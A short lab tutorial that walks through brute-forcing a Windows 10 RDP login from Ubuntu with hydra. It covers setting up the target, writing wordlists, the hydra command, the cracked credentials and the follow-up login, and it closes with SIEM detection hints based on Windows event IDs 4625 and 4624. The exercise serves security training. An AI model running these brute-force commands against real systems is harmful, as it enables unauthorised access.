**Lateral Movement via RDP Brute Force**

Scenario: Ubuntu (Attacker) → Windows 10 (Target) via RDP brute force

Simulate how an attacker in Ubuntu (Kali/Ubuntu-based) attempts to brute-force RDP login into a Windows machine using username and password combinations.

Tools Needed (On Ubuntu):

|  |  |
| --- | --- |
| Tool | Purpose |
| hydra | Brute-force tool for services |

Target Machine: Windows 10

|  |  |
| --- | --- |
| Requirement | Configuration |
| RDP Enabled | ✅ Control Panel > System > Remote Desktop |
| Username & Password | Create a test user (e.g., testuser / 123456) |
| Firewall | ✅ Allow RDP (port 3389) |
| Network Type | ✅ Host-Only or Bridged |
| IP Address | e.g., 192.168.129.132 |

Step-by-Step Instructions

Step 1: Set Up Windows 10 (Target)

1. Enable RDP:
   * Start > Settings > System > Remote Desktop
   * Turn "Enable Remote Desktop" ON
2. Allow RDP through Firewall:
   * Search Windows Defender Firewall
   * Allow app through firewall > enable for Remote Desktop
3. Create Low-Privileged User:
4. net user testuser 123456 /add
5. net localgroup "Remote Desktop Users" testuser /add
6. Note the IP:
7. ipconfig

Example: 192.168.129.132

Step 2: Set Up Ubuntu (Attacker)

Ensure network connectivity

ping 192.168.129.132

Step 3: Install Hydra on Ubuntu

sudo apt update

sudo apt install hydra -y

Step 4: Create Wordlists

Create a password list:

echo -e "123\n123456\npassword\n12345678" > pass.txt

Create a username list:

echo "testuser" > user.txt

Step 5: Brute-Force RDP with Hydra

hydra -L user.txt -P pass.txt rdp://192.168.129.132

Output:

[3389][rdp] host: 192.168.129.132 login: testuser password: 123456

Successful Login

Once credentials are correct, you can:

* Use remmina (GUI RDP client on Ubuntu) to RDP into Windows:

sudo apt install remmina -y

remmina

* Use xfreerdp (CLI):

Xfreerdp /u:testuser /p:123456 /v:192.168.129.132

Detection (If Using SIEM / Wazuh / ELK)

On Windows, brute-force RDP triggers:

You can build ELK/Wazuh rules to alert when:

* Multiple 4625 from same IP in short time
* 4624 follows many 4625s